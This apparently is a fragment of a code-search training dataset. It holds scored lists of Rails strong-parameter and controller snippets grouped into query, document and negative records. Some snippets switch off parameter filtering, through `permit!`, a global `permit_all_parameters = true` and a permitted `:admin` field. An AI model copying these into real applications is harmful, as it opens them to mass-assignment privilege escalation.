"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Replace this with your real tests.
|
def test_truth
assert true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def testing\n # ...\n end",
"def __dummy_test__\n end",
"def tests; end",
"def tests; end",
"def spec; end",
"def spec; end",
"def self_test; end",
"def self_test; end",
"def test \n end",
"def test_0_dummy\n\t\tend",
"def test\n\n end",
"def test\n end",
"def test\n end",
"def test\n end",
"def private; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def test_method\n end",
"def before_test(test); end",
"def before_test(test); end",
"def graffiti_test\n end",
"def test_truth\n end",
"def test_should_get_index \n get :index\n assert_response :success #making sure the request was successful\n assert_not_nil (:products) # ensuring that it assigns a valid products instance variable.\n end",
"def test_case; end",
"def test_cases; end",
"def running_test_case; end",
"def test_connection\n end",
"def testloop\n \n end",
"def should; super end",
"def test_nothing\n end",
"def default_test\r\n end",
"def my_tests\n end",
"def test_setup\r\n \r\n end",
"def test_intialize\r\n\tassert_equal 0, @test_prospector.current_gold\r\n\tassert_equal 0, @test_prospector.current_silver\r\n\tassert_equal 0, @test_prospector.total_gold\r\n\tassert_equal 0, @test_prospector.total_silver\r\n\tassert_equal 0, @test_prospector.move_count\r\n\tassert_nil @test_prospector.previous_location\r\n\tassert_equal 0, @test_prospector.num_days\r\n\tassert_equal 'Sutter Creek', @test_prospector.current_location\r\n end",
"def testing_end\n end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def test_next_song\n \n \n assert true\n end",
"def assertions; end",
"def assertions; end",
"def test_hack\n assert(true)\n end",
"def setup\n\n end",
"def setup\n\n end",
"def setup\n\n end",
"def test_attributes\n assert_equal \"Gallery 1\", @gallery.title\n assert @gallery.active?\n assert_equal \"f82dd0bd-4711-4578-ac47-4661257e69a6\", @gallery.guid\n end",
"def teardown; end",
"def teardown; end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def before_assert\n end",
"def test_fake_rubies_found\n\t\ttest_main = Main.new(3, 4, 6)\n\t\ttest_graph = Graph.new(10)\n\t\ttest_main.fake_rubies_found(7)\n\t\ttest_main.fake_rubies_found(7)\n\t\tassert test_main.num_fake_rubies, 14\n\tend",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def test_entry\n raise \"Implement this method in your test class\"\n end",
"def tests_song_not_found\n assert_equal =\n end\n\nend",
"def test_playlist\n end",
"def test_listchunk_attributes\n\t\t\n\tend",
"def love_test\nend",
"def test_entry_attrs\n raise \"Implement this method in your test class\"\n end",
"def test_truth\n assert true\n end",
"def stest_method_1(test); end",
"def teardown\r\n end",
"def default_test\n end",
"def test_037\n\n login\n\n #Create some PUs\n\n for i in 0..2\n create_pu('sample_pu'+i.to_s)\n end\n\n pus = Pu.find_all_by_name('sample_pu1')\n pu = pus.last\n pu.created_at =\"2009-05-08 11:30:50\"\n pu.save\n pus = Pu.find_all_by_name('sample_pu2')\n pu = pus.last\n pu.created_at =\"2008-05-08 14:30:50\"\n pu.save\n @@year = \"2009\"\n @@hour = \"14\"\n\n # Open PU management page\n open_pu_management_page_1\n\n # Arbitrary filtering is performed to PU name.\n assert_equal _(\"PU name\"), get_selected_label(\"find_box\")\n\n\n # you have no relevance\n filtering('3')\n assert !is_text_present('sample_pu1')\n assert !is_text_present('sample_pu2')\n assert is_text_present(_('A PU does not exist.'))\n sleep 2\n\n # Delete created data\n @@pu= Pu.find_by_name('sample_pu1')\n @@pu2= Pu.find_by_name('sample_pu2')\n @@pu.destroy\n @@pu2.destroy\n logout\n end",
"def run_fe_tests\n end",
"def after_test(_test); end",
"def after_test(_test); end",
"def after_test(_test); end",
"def setup; end",
"def tests=(_arg0); end",
"def tests=(_arg0); end",
"def test_truth\n april = riders(:rider_1)\n assert_equal \"April Jones\", april.name\n trigger = horses(:horse_1)\n assert_equal \"Trigger\", trigger.name\n event2 = events(:event_2)\n assert_equal \"5 Horse Scramble\", event2.name\n \n end",
"def test_BooksForAnAuthor\n loginRegisterBazzarVoice\n writeReview \n assert true \n end"
] |
[
"0.7444841",
"0.6954491",
"0.6913394",
"0.6913394",
"0.6863823",
"0.6863823",
"0.66389537",
"0.66389537",
"0.66238844",
"0.6545616",
"0.6523148",
"0.64830077",
"0.64830077",
"0.64830077",
"0.6406177",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.63840616",
"0.63529766",
"0.63529766",
"0.63494617",
"0.63158166",
"0.6271348",
"0.62323266",
"0.6208382",
"0.61812025",
"0.61608577",
"0.61563164",
"0.6136053",
"0.6133934",
"0.61173344",
"0.611512",
"0.6107028",
"0.6097589",
"0.60655326",
"0.60586226",
"0.60586226",
"0.60586226",
"0.60586226",
"0.6058497",
"0.6044739",
"0.6044739",
"0.6027698",
"0.60164845",
"0.60164845",
"0.60164845",
"0.60142195",
"0.59994173",
"0.59994173",
"0.5991951",
"0.5991951",
"0.5991951",
"0.5991951",
"0.5991951",
"0.5991951",
"0.5991951",
"0.5989171",
"0.59814847",
"0.5955953",
"0.5955953",
"0.5955953",
"0.5955953",
"0.5955953",
"0.5955953",
"0.59502023",
"0.59497035",
"0.59426457",
"0.5942114",
"0.59322995",
"0.59299654",
"0.5928559",
"0.591595",
"0.59148794",
"0.59113276",
"0.5904547",
"0.5896999",
"0.58899075",
"0.58899075",
"0.58899075",
"0.58893734",
"0.5882061",
"0.5882061",
"0.5879576",
"0.5877644"
] |
0.0
|
-1
|
GET /voxels GET /voxels.json
|
def index
@voxels = Voxel.find(:all, :order => 'created_at DESC')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @electors = Elector.all\n\n render json: @electors\n end",
"def index\n @universes = Universe.all.page(params[:page]).per(25)\n respond_to do |format|\n format.html\n format.json { render json: @universes }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def index\n @episodes = Episode.all\n\n render json: @episodes\n end",
"def index\n @vampires = Vampire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vampires }\n end\n end",
"def index\n @ivas = Iva.all\n\n render json: @ivas\n end",
"def index\n @vechicles = Vechicle.all\n end",
"def index\n @guests = @wedding.guests.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guests }\n end\n end",
"def index\n @varieties = Variety.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @varieties }\n end\n end",
"def show\n @vessel = Vessel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vessel }\n end\n end",
"def index\n @hotel_rooms = HotelRoom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hotel_rooms }\n end\n end",
"def index\n @vets = Vet.all\n end",
"def index\n @offices = Office.all\n json_response(@offices)\n end",
"def show\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vet }\n end\n end",
"def show\n @voxel = Voxel.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voxel }\n end\n end",
"def index\n @curriculum_vitaes = findable_curriculum_vitaes.all\n respond_to do |format|\n format.html {}\n format.json { render json: @curriculum_vitaes }\n end\n end",
"def index\n @verticals = Vertical.all()\n render json: @verticals\n end",
"def show\n render json: @vat\n end",
"def vips\n request :get, '/vips'\n end",
"def index\n @loves = Love.all\n render json: @loves\n end",
"def index\n\t\tvendas = Venda.all\n\t\trender json: vendas, status: :ok\n\tend",
"def index\n @equipos = Equipo.all\n render json: @equipos, status: :ok\n end",
"def venues(options = {})\n self.class.require_latitude_and_longitude(options)\n\n response = self.class.get(\"/venues.json\", :query => options, :basic_auth => @auth)[\"venues\"]\n response && response.flatten\n end",
"def index\n @potluck_items = @event.potluck_items\n\n respond_to do |format|\n format.html { render :layout => false }# index.html.erb\n format.json { render json: @event.get_potluck_items_for_guests.to_json }\n end\n end",
"def index\n @verticals = Vertical.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @verticals }\n end\n end",
"def index\n @hostel_rooms = HostelRoom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hostel_rooms }\n end\n end",
"def index\n\n response = @api.get_list({:destinationString => 'Media', :stateProvinceCode => 'PA'})\n @hotels = response.body['HotelListResponse']['HotelList']['HotelSummary']\n\n end",
"def index\n @public_offers = @club.public_offers\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end",
"def show\n @vegetable = Vegetable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vegetable }\n end\n end",
"def index\n @vdms = Vdm.all\n\n render json: @vdms\n end",
"def show\n render json: @elector\n end",
"def index\n @vessels =Vessel.all\n # respond_to do |format|\n # format.html # index.html.erb (no data required)\n render :json => {:successful=>true, :total=>@vessels.length, :data=> @vessels }\n # end\n end",
"def index\n @offers = Offer.all\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n format.html { @offers }\n end\n end",
"def index\n @offers = Offer.all\n\n render json: @offers\n end",
"def index\n @weapons = Weapon.all\n\n render json: @weapons\n end",
"def index\n @admin_villages = Admin::Village.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_villages }\n end\n end",
"def index\n @guest_hotels = GuestHotel.all\n end",
"def planets\n data = JSON.parse(open(\"http://swapi.co/api/planets\").read)\n @results = data[\"results\"]\n end",
"def index\n @offices = Office.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offices }\n end\n end",
"def show\n #@restroom = Restroom.find(params[:id])\n @venue = client.venue(:query => params[:venue_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restroom }\n end\n end",
"def index\n @events = Event.where(adventure_id: params[:adventure_id])\n\n render json: @events\n end",
"def show\n @hotel = Hotel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hotel }\n end\n end",
"def index\n @vegetables = Vegetable.all\n end",
"def index\n @essays = Essay.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @essays }\n end\n end",
"def index\n @vuelos = Vuelo.all\n end",
"def index\n json_response(Spot.all)\n end",
"def get(params = {})\n client.get(\"/v1/shopping/hotels/#{@hotel_id}/hotel-offers\", params)\n end",
"def index\n @vhours = Vhour.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vhours }\n end\n end",
"def index\n @vehicles = Vehicle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end",
"def index\n #@queried_hotels = Hotel.page params[:page]\n @hotels = Hotel.all.order(created_at: :desc)\n @hotels = pagy_custom(@hotels)\n render json: @hotels, only: [:id, :name, :phone, :email, :user_id]\n end",
"def index\n @heroes = Hero.all\n\n render json: @heroes\n end",
"def show\n @gethotel = Gethotel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gethotel }\n end\n end",
"def index\n @verbindungs = Verbindung.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @verbindungs }\n end\n end",
"def index\n @offers = Offer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end",
"def index\n @hotels = Hotel.all\n end",
"def index\n @dices = Dice.all\n\n render json: @dices\n end",
"def show\n @tags_of_novel = TagsOfNovel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tags_of_novel }\n end\n end",
"def index\n @veiculos = Veiculo.all\n end",
"def index\n @variants = Variant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @variants }\n end\n end",
"def show\n render json: @vehicle\n end",
"def show\n render json: @hotel, only: [:id, :name, :phone, :email, :user_id]\n end",
"def index\n @guests = Guest.for_event(Event.find_by(id:request.headers['EventId'].to_s).id)\n if request.headers['Search'].to_s\n @guests = Guest.for_event(Event.find_by(id:request.headers['EventId'].to_s).id).search(request.headers['Search'].to_s).order(\"name\")\n else\n @guests = Guest.for_event(Event.find_by(id:request.headers['EventId'].to_s).id).order('name')\n end\n\n render json: @guests\n end",
"def index\n @jewels = Jewel.all\n end",
"def index\n @votes = Vote.all\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def venue(vid, options = {})\n options.merge!({ :query => { :key => @api_key } })\n self.class.get(\"/venues/#{vid}\", options)\n end",
"def show\n @vocalium = Vocalium.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @vocalium }\n end\n end",
"def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def index\n @vendes = Vende.all\n end",
"def index\n @api_v1_post_votes = PostVote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_v1_post_votes }\n end\n end",
"def index\n pets = pets_from_query\n\n respond_to do |format|\n format.html do\n @pets = pets.paginate(page: params[:page], per_page: 10)\n end\n format.json do\n @pets = pets\n end\n end\n end",
"def index\n @vacancies = Vacancy.all_vacancies# current_user.vacancies #\n render json: @vacancies\n end",
"def show\n @venue = Venue.find(params[:id])\n\n render json: @venue\n end",
"def index\n @viajes = Viaje.all\n end",
"def show\n render json: @wellist\n end",
"def active\n @travels = Travels::Travel.actual\n\n respond_to do |format|\n format.html { render \"travels/index\" }\n format.json { as_json @travels }\n end\n end",
"def index\n render json: {episodes: @season.episodes, season: @season}\n end",
"def index\n @vendedores = Vendedor.all\n if params[:search] != \"\"\n @vendedores = Vendedor.search(params[:search]).page(params['page']).per(5)\n else\n @vendedores = Vendedor.all.page(params['page']).per(5)\n end\n end",
"def show\n @village = Village.find(params[:id])\n @collections = @village.collections\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @village }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @venues }\n end\n end",
"def index\n @vitricongviecs = Vitricongviec.all\n end",
"def index\n @livingexpenses = Livingexpense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @livingexpenses }\n end\n end",
"def show\n render json: @guest\n end",
"def show\n @lector = Lector.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lector }\n end\n end",
"def index\n @lugars = Lugar.all\n\n render json: @lugars\n end",
"def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"def index\n @food_sliders = FoodSlider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @food_sliders }\n end\n end",
"def index\n @admin_guests = Guest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_guests }\n end\n end",
"def index\n @vegetals = Vegetal.all\n end",
"def votd\n require 'rss'\n\n votd = RSS::Parser.parse('https://www.biblegateway.com/usage/votd/rss/votd.rdf?31', false)\n\n render json: votd\n end",
"def list_all_aos_version_boxes(args = {}) \n get(\"/aosversions.json/aosversionbox\", args)\nend",
"def index\n @episodes = @series.episodes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @episodes }\n end\n end",
"def show\n render json: @diet, status: 200, root: true\n end",
"def index\n results = []\n if params[:bbox]\n results = VAFacility.query(bbox: params[:bbox], type: params[:type], services: params[:services])\n end\n resource = Common::Collection.new(::VAFacility, data: results)\n resource = resource.paginate(pagination_params)\n render json: resource.data,\n serializer: CollectionSerializer,\n each_serializer: VAFacilitySerializer,\n meta: resource.metadata\n end",
"def index\n @venues = Venue.all\n end",
"def index\n @veterinarios = Veterinario.all\n end"
] |
[
"0.6757858",
"0.65102774",
"0.6476249",
"0.6476249",
"0.64666194",
"0.64484835",
"0.6426593",
"0.6396732",
"0.6396434",
"0.63778955",
"0.6373501",
"0.63711417",
"0.636001",
"0.6314642",
"0.6304709",
"0.62653047",
"0.6247005",
"0.6240893",
"0.62278944",
"0.6224991",
"0.62146544",
"0.62130404",
"0.61746496",
"0.6172802",
"0.6167971",
"0.6165556",
"0.61544806",
"0.6151778",
"0.61515695",
"0.6147058",
"0.6145962",
"0.61457473",
"0.61410123",
"0.6113291",
"0.61111474",
"0.6092765",
"0.60775936",
"0.6074465",
"0.6046028",
"0.6045865",
"0.6040552",
"0.60202837",
"0.60185343",
"0.6016054",
"0.60141444",
"0.6003456",
"0.60033983",
"0.60022354",
"0.5996842",
"0.59924424",
"0.5987821",
"0.59823334",
"0.5978787",
"0.59749645",
"0.59711695",
"0.5960361",
"0.59594005",
"0.5957442",
"0.59493494",
"0.5949284",
"0.5949069",
"0.594458",
"0.59415185",
"0.5941126",
"0.5936457",
"0.59354675",
"0.59325117",
"0.59307224",
"0.59307224",
"0.59307224",
"0.59307224",
"0.59307224",
"0.5925368",
"0.5923655",
"0.5919152",
"0.5913502",
"0.5911561",
"0.5909591",
"0.59088665",
"0.5907758",
"0.58927125",
"0.5878779",
"0.58764446",
"0.5872577",
"0.58534867",
"0.5850488",
"0.5843259",
"0.58418524",
"0.5840409",
"0.58387303",
"0.58306354",
"0.58232635",
"0.5815454",
"0.5808942",
"0.58075076",
"0.5800346",
"0.5799208",
"0.57845545",
"0.5778872",
"0.577828"
] |
0.62513626
|
16
|
GET /voxels/1 GET /voxels/1.json
|
def show
@auto_rotate = true
@method = 'show'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vet }\n end\n end",
"def show\n @voxel = Voxel.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voxel }\n end\n end",
"def show\n @vessel = Vessel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vessel }\n end\n end",
"def show\n @vegetable = Vegetable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vegetable }\n end\n end",
"def show\n render json: @vat\n end",
"def index\n @vampires = Vampire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vampires }\n end\n end",
"def show\n @vocalium = Vocalium.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @vocalium }\n end\n end",
"def index\n @vets = Vet.all\n end",
"def index\n @electors = Elector.all\n\n render json: @electors\n end",
"def index\n @ivas = Iva.all\n\n render json: @ivas\n end",
"def show\n #@restroom = Restroom.find(params[:id])\n @venue = client.venue(:query => params[:venue_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restroom }\n end\n end",
"def vips\n request :get, '/vips'\n end",
"def index\n @vechicles = Vechicle.all\n end",
"def index\n @universes = Universe.all.page(params[:page]).per(25)\n respond_to do |format|\n format.html\n format.json { render json: @universes }\n end\n end",
"def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"def show\n @voc = Voc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voc }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def index\n @voxels = Voxel.find(:all, :order => 'created_at DESC')\n end",
"def show\n @venue = Venue.find(params[:id])\n\n render json: @venue\n end",
"def show\n @voprosy = Voprosy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voprosy }\n end\n end",
"def index\n @varieties = Variety.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @varieties }\n end\n end",
"def show\n render json: @elector\n end",
"def index\n @curriculum_vitaes = findable_curriculum_vitaes.all\n respond_to do |format|\n format.html {}\n format.json { render json: @curriculum_vitaes }\n end\n end",
"def show\n @vano = Vano.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vano }\n end\n end",
"def show\n render json: @vehicle\n end",
"def index\n @verticals = Vertical.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @verticals }\n end\n end",
"def index\n @verticals = Vertical.all()\n render json: @verticals\n end",
"def index\n @vdms = Vdm.all\n\n render json: @vdms\n end",
"def index\n @episodes = Episode.all\n\n render json: @episodes\n end",
"def show\n @vodka = Vodka.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vodka }\n end\n end",
"def index\n @api_v1_post_votes = PostVote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_v1_post_votes }\n end\n end",
"def show\r\n @venue = Venue.fetch(params[:id])\r\n render json: @venue\r\n end",
"def index\n\t\tvendas = Venda.all\n\t\trender json: vendas, status: :ok\n\tend",
"def show\n @vampire = Vampire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vampire }\n end\n end",
"def index\n @equipos = Equipo.all\n render json: @equipos, status: :ok\n end",
"def show\n @gethotel = Gethotel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gethotel }\n end\n end",
"def show\n @lector = Lector.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lector }\n end\n end",
"def index\n @offices = Office.all\n json_response(@offices)\n end",
